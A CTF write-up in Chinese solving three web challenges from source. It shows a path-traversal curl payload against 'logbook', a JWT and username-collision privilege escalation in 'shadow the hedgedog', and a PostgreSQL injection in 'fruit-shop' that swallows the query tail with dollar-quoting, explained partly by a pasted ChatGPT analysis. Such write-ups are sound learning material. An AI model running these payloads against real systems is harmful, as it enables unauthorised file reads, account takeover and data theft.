logbook index.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import { serve } from '@hono/node-server' import { randomUUID } from 'crypto' import { readFile, writeFile, stat, access } from 'fs/promises' import { Hono } from 'hono' import { join } from 'path' import { DATA_DIR } from './const.js' import { getConnInfo } from '@hono/node-server/conninfo' const app = new Hono ();const TIMEOUT = ( ) => ({ signal : AbortSignal .timeout (1000 ) });app.get ('/' , (c ) => { return c.html (` <h1>Welcome to the Skateboarding Dog Logbook!<h1> <form action="/book" method="POST"> <button type="submit">Create a Logbook</button> </form> ` );}) app.post ("/book" , async (c) => { const id = randomUUID (); const file = join (DATA_DIR , id); await writeFile (file, "<h1>Logbook</h1>\n" , { flag : 'a' }); return c.redirect (`/book/${id} ` ) }); app.get ('/book/:id' , async (c) => { const id = c.req .param ('id' ); const file = join (DATA_DIR , id); try { const fStat = await stat (file); if (!fStat.isFile ()) { throw new Error ("not found" ); } } catch (e) { c.status (404 ); return c.html ('<h1>Logbook not found</h1>' ); } c.res .headers .append ('content-type' , 'text/html' ); try { const data = (await readFile (file, TIMEOUT ())).toString (); return c.body (data + ` <form method="POST"> <b>Leave a Message</b> <br/> <label for="message">Message</label> <input name="message" type="text" /> <button type="submit">Add a Message</button> </form> ` ); } catch (e) { c.status (404 ); return c.html ('<h1>Logbook not found</h1>' ); } }); app.post ('/book/:id' , async (c) => { const id = c.req .param ('id' ); const file = join (DATA_DIR , id); try { await access (file); const fStat = await stat (file); if (!fStat.isFile ()) { throw new Error ("not found" ); } } catch (error) { c.status (404 ); return c.html ('<h1>Logbook not found</h1>' ); } const b : { message : string } = await c.req .parseBody (); if (b.message .length > 256 ) { return c.html ("<h1>no hacking pls</h1>" ); } await writeFile (file, ` <p> <b>${getConnInfo(c).remote.address} </b>: - ${b.message} </p>` , { flag : 'a' , ...TIMEOUT () }); return c.redirect (`/book/${id} ` ); }); serve ({ fetch : app.fetch , port : 3000 , hostname : "::" }, (info ) => { console .log (`Server is running on http://[::]:${info.port} ` ) })
GET /book/:id 路由会把 id 原样作为路径片段拼到 DATA_DIR 后,用 stat 与 readFile 读取并原样以 HTML 返回;代码没有对 id 做任何规范化或过滤。join(DATA_DIR, id) + readFile(file) 的组合,如果能让 id 含有路径分隔(如 %2F 解码后的 /),就可能实现路径穿越去读任意文件。
直接读Dockerfile就行
payload
1 curl -s "https://web-logbook-149941a415b6.c.sk8.dog/book/%2e%2e%2f%2e%2e%2fapp%2fDockerfile" --output - | tr '\0' '\n'
shadow the hedgedog Routes.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 package sk8boarding.dog.shadow_the_hedgedog;import java.util.UUID;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.access.prepost.PreAuthorize;import org.springframework.security.core.context.SecurityContextHolder;import org.springframework.security.core.userdetails.UsernameNotFoundException;import org.springframework.security.crypto.password.PasswordEncoder;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.servlet.mvc.support.RedirectAttributes;import jakarta.servlet.RequestDispatcher;import jakarta.servlet.http.Cookie;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;@Controller public class Routes { @Autowired private JwtUtil jwtUtil; @Autowired private UserService userService; @Autowired private PasswordEncoder passwordEncoder; @GetMapping("/") public String index () { return "index" ; } @GetMapping("/login") public String login () { return "login" ; } protected void setJwtCookie (HttpServletResponse response, String username, String role) { String token = jwtUtil.generateToken(username, role); Cookie cookie = new Cookie ("shadow" , token); cookie.setHttpOnly(true ); cookie.setPath("/" ); response.addCookie(cookie); } protected void unsetJwtCookie (HttpServletResponse response) { Cookie cookie = new Cookie ("shadow" , "" ); cookie.setHttpOnly(true ); cookie.setMaxAge(0 ); cookie.setPath("/" ); response.addCookie(cookie); } @PostMapping("/login") public String doLogin (@RequestParam String username, @RequestParam String password, HttpServletResponse response, Model model ) { try { UserAccount user = (UserAccount) userService.loadUserByUsername(username); if (passwordEncoder.matches(password, user.getPassword())) { setJwtCookie(response, username, user.getRole()); return "redirect:/home" ; } } catch (UsernameNotFoundException e) { } model.addAttribute("error" , "Invalid username/password" ); return "login" ; } @GetMapping("/signup") public String signup () { return "signup" ; } @PostMapping("/signup") public String doSignup (@RequestParam String username, @RequestParam String password, Model model ) { try { userService.loadUserByUsername(username); model.addAttribute("error" , "Username taken" ); return "signup" ; } catch (UsernameNotFoundException e) { } if (password.length() < 8 || !password.chars().anyMatch(Character::isDigit)) { model.addAttribute("error" , "Password must be at least 8 characters and contain a digit" ); return "signup" ; } String encoded = passwordEncoder.encode(password); UserAccount user = new UserAccount (username, encoded, "ROLE_USER" ); userService.saveUser(user); return "redirect:/login" ; } @PostMapping("/create-admin") @PreAuthorize("hasRole('ADMIN') || hasRole('USER')") public String createAdmin (RedirectAttributes redirectAttrs) { String username = UUID.randomUUID().toString(); String password = UUID.randomUUID().toString(); try { userService.loadUserByUsername(username); redirectAttrs.addAttribute("error" , "Username taken" ); return "redirect:/" ; } catch (UsernameNotFoundException e) { } String encoded = passwordEncoder.encode(password); UserAccount admin = new UserAccount (username, encoded, "ROLE_ADMIN" ); userService.saveUser(admin); redirectAttrs.addFlashAttribute("message" , String.format("Admin '%s' created" , username)); return "redirect:/home" ; } @GetMapping(path = "/home") @PreAuthorize("hasRole('ADMIN') || hasRole('USER')") public String home (Model model) { UserAccount user = (UserAccount) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); model.addAttribute("username" , user.getUsername()); model.addAttribute("isAdmin" , user.getAuthorities().stream() .anyMatch(auth -> auth.getAuthority().equals("ROLE_ADMIN" ))); return "home" ; } @PostMapping(path = "/change-username") @PreAuthorize("hasRole('ADMIN') || hasRole('USER')") public String changeUsername (@RequestParam String newUsername, RedirectAttributes redirectAttrs, HttpServletResponse response ) { UserAccount user = (UserAccount) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); user.setUsername(newUsername); userService.saveUser(user); redirectAttrs.addFlashAttribute("message" , "Username successfully changed. Please log in again." ); unsetJwtCookie(response); return "redirect:/login" ; } @GetMapping(path = "/flag") @PreAuthorize("hasRole('ADMIN')") public String flag (Model model) { String flag = System.getenv("FLAG" ); model.addAttribute("flag" , flag); return "flag" ; } @GetMapping("/error") public String handleError (HttpServletRequest request, Model model) { Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE); Object message = request.getAttribute(RequestDispatcher.ERROR_MESSAGE); model.addAttribute("status" , status); model.addAttribute("message" , message); return "error" ; } }
问题主要出现在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @Override protected void doFilterInternal (HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { String token = null ; if (request.getCookies() != null ) { for (Cookie c : request.getCookies()) { if ("shadow" .equals(c.getName())) { token = c.getValue(); break ; } } } if (token != null ) { try { String username = getUserIdFromToken(token); if (username != null ) { applySuccessfulAuth(request, username); } } catch (Exception ex) { } } chain.doFilter(request, response); } private void applySuccessfulAuth (HttpServletRequest request, String username) { UserDetails user = userService.loadUserByUsername(username); UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken (user, null , user.getAuthorities()); authentication.setDetails(new WebAuthenticationDetailsSource ().buildDetails(request)); SecurityContextHolder.getContext().setAuthentication(authentication); }
鉴权过滤器只从 shadow Cookie 中取出 JWT,解析 sub(subject)作为用户名,然后去数据库按用户名加载用户对象,进而决定权限。注意:并未使用 JWT 中的 role,而是二次查询数据库,以当前数据库中第一个同名用户的权限为准。
首先以test/testtest1注册登录,拿到以下cookie
1 2 3 4 5 6 7 8 eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0Iiwicm9sZSI6IlJPTEVfVVNFUiIsImlhdCI6MTc1OTA1Nzk1MywiZXhwIjoxNzU5MTQ0MzUzfQ.smmZxj_DR0n4XDEiB3Ctgc0lMRjQ5WGOZbw2jN0nb8w { "sub": "test", "role": "ROLE_USER", "iat": 1759057953, "exp": 1759144353 }
然后create-admin,拿到一个admin身份的账号457b856c-832a-4a73-9261-5efa3134ba87
把自己的用户名改为457b856c-832a-4a73-9261-5efa3134ba87,以457b856c-832a-4a73-9261-5efa3134ba87/testtest1登录,此时cookie如下
1 2 3 4 5 6 7 8 eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0NTdiODU2Yy04MzJhLTRhNzMtOTI2MS01ZWZhMzEzNGJhODciLCJyb2xlIjoiUk9MRV9VU0VSIiwiaWF0IjoxNzU5MDU4MzgzLCJleHAiOjE3NTkxNDQ3ODN9.gApq2X08rOJRirB-EiqimUHJfVAlAQmjWyXk2xJQ200 { "sub": "457b856c-832a-4a73-9261-5efa3134ba87", "role": "ROLE_USER", "iat": 1759058383, "exp": 1759144783 }
再把用户名改成另一个,是457b856c-832a-4a73-9261-5efa3134ba87用户只有一个,且是ROLE_ADMIN
拿着上面得到的cookie去访问/flag即可
fruit-shop main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package mainimport ( "database/sql" "encoding/json" "log" "net/http" "strings" _ "github.com/lib/pq" ) var db *sql.DBtype Item struct { Name string `json:"name"` SKU string `json:"sku"` Price int `json:"price"` Rating int `json:"rating"` Rank int `json:"rank"` } func initDatabase () { var err error db, err = sql.Open("postgres" , "host=localhost port=5432 user=shop password=shop dbname=shopdb sslmode=disable" ) if err != nil { log.Fatal("Failed to open database connection!" ) } } func homeHandler (w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "/app/index.html" ) } func populateHandler (w http.ResponseWriter, r *http.Request) { query := strings.ReplaceAll(` WITH ranked_{TYPE} AS ( SELECT {TYPE}_name AS name, {TYPE}_sku AS sku, {TYPE}_price AS price, {TYPE}_user_rating AS rating, RANK() OVER (ORDER BY {TYPE}_user_rating DESC) as rank FROM {TYPE} ) SELECT * FROM ranked_{TYPE} ORDER BY rank, name LIMIT 20 ` , "{TYPE}" , r.URL.Query().Get("item" )) rows, err := db.Query(query) if err != nil { log.Printf("Query error: %v" , err) http.Error(w, "500" , http.StatusServiceUnavailable) return } defer rows.Close() var items []Item for rows.Next() { var item Item err := rows.Scan(&item.Name, &item.SKU, &item.Price, &item.Rating, &item.Rank) if err != nil { log.Printf("Scan error: %v" , err) http.Error(w, "500" , http.StatusServiceUnavailable) return } items = append (items, item) } w.Header().Set("Content-Type" , "application/json" ) json.NewEncoder(w).Encode(items) } func main () { initDatabase() defer db.Close() http.HandleFunc("/" , homeHandler) http.HandleFunc("/populate" , populateHandler) port := ":1337" log.Printf("Server starting on http://localhost%s\n" , port) if err := http.ListenAndServe(port, nil ); err != nil { log.Fatal(err) } }
flag在flag表的flag列
payload
1 2 3 4 5 6 7 8 9 GET /populate?item=flag+AS+(SELECT%20flag,1,1,1,1+FROM%20flag)%20SELECT+*+FROM+ranked_flag%3b+SELECT+$a$+||+$b$+||+$c$+||+$d$+||+$e$+||+$f$+||+$g$ HTTP/1.1 Host: localhost:1337 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Priority: u=0, i
没见过的东西,先把gpt的分析丢这里
后端把模板里的 {TYPE} 用 item 参数原样替换:
1 2 3 4 5 6 7 8 9 10 11 12 WITH ranked_{TYPE} AS ( SELECT {TYPE}_name AS name, {TYPE}_sku AS sku, {TYPE}_price AS price, {TYPE}_user_rating AS rating, RANK () OVER (ORDER BY {TYPE}_user_rating DESC ) AS rank FROM {TYPE} ) SELECT * FROM ranked_{TYPE}ORDER BY rank, nameLIMIT 20
{TYPE}出现在列名前缀 ({TYPE}_name 等)和表名 (FROM {TYPE}、ranked_{TYPE})的位置,但没有任何白名单/转义 。因此,攻击者可以把 {TYPE} 变成一段完整的 SQL 代码片段 ,而不仅仅是一个干净的表名。
用户传入:
1 item=flag AS (SELECT flag,1,1,1,1 FROM flag) SELECT * FROM ranked_flag; SELECT $a$ || $b$ || $c$ || $d$ || $e$ || $f$ || $g$
把它替进模板后,关键部分会变成这样(用 [...] 标出替换点,省略不相干空白):
1 2 3 4 5 6 7 8 9 WITH ranked_[flag AS (SELECT flag,1 ,1 ,1 ,1 FROM flag)] AS ( SELECT [flag AS (SELECT ... ) ... $g$]_name AS name, ... FROM [flag AS (SELECT ... ) ... $g$] ) SELECT * FROM ranked_[flag AS (SELECT ... ) ... $g$]ORDER BY rank, nameLIMIT 20
但注意:我们在 {TYPE} 第一次出现的位置就提前闭合了括号 并结束了原本的 CTE :
1 2 WITH ranked_flag AS (SELECT flag,1,1,1,1 FROM flag) SELECT * FROM ranked_flag;
这两句已经形成了自洽的查询 :
我们把 CTE 名字定为 ranked_flag;
CTE 的定义不再使用模板里的 SELECT {TYPE}_name ...,而是被我们完全替换 为 SELECT flag,1,1,1,1 FROM flag;
这样 CTE 产出的5 列 正好对应 Go 端 rows.Scan(&Name,&SKU,&Price,&Rating,&Rank) 的5 列 (第一列是真正的 flag,其余 4 列用常数补齐,类型都可被 Go 扫进 int/string 之类)。
紧接着我们自己补了一句:
1 SELECT * FROM ranked_flag;
这句就是让服务器立刻返回 那 5 列数据(其中第一列就是 flag)。
替换是全局 的:模板里剩下很多 {TYPE} 变体(例如 {TYPE}_name),会在我们插入的 ; 之后,形成一堆语法垃圾 (例如 _name AS name, ...)。如果不处理,这些残余会让整个请求语法错误。
payload 末尾这段:
1 ; SELECT $a$ || $b$ || $c$ || $d$ || $e$ || $f$ || $g$
就是用 PostgreSQL 的 dollar-quoted string ($tag$...$tag$)来“吞掉 ”后续字符的技巧:
在替换点后,模板会紧跟着像 _name AS name, 这样的后缀。
当 ... || $g$ 和接下来的 _name 连在一起时,词法分析可把**$g$_name视为一个新的 dollar-quote 起始符**(tag 允许字母和下划线),于是从这里开始直到再次出现同样的 $g$_name$ 之前 ,解析器都把内容当作字符串字面量 ,不再按 SQL 语法解析。
因为模板的剩余部分都落进了这个未闭合的 dollar-quote 字面量里 ,所以不会再触发语法冲突;而我们在这之前已经完成了想要执行的两条完整语句 (定义 CTE + 读取 CTE)。
(CTF 里这招常见于 PostgreSQL:利用 $tag$ 紧贴后缀把余下的模板吃掉,效果相当于注释掉后面的所有内容,但比 --//* */ 更稳,因为你不知道后面会拼接什么字符。)
Go 端使用 db.Query(query),PostgreSQL 允许一次请求里包含多条语句 (以分号分隔)。
由于我们在“垃圾吞噬”前就放了一句完整的 SELECT * FROM ranked_flag;,驱动返回这个查询的结果集 。
该结果集恰好是5 列 :(flag, 1, 1, 1, 1),与 rows.Scan(Name, SKU, Price, Rating, Rank) 的 5 列匹配,循环即可把第一列(真正的 flag)编码回 JSON 返回给前端。
总结
重写 CTE :flag AS (SELECT flag,1,1,1,1 FROM flag) —— 让 CTE 里装的是我们想要的列(第一列是 flag)。
立刻读取 :SELECT * FROM ranked_flag; —— 在任何语法碎片捣乱之前先把结果取出来。
吞掉尾巴 :SELECT $a$ || ... || $g$ —— 借助 dollar-quote 紧贴后缀,把模板剩余内容变成字符串内容,从而不参与解析。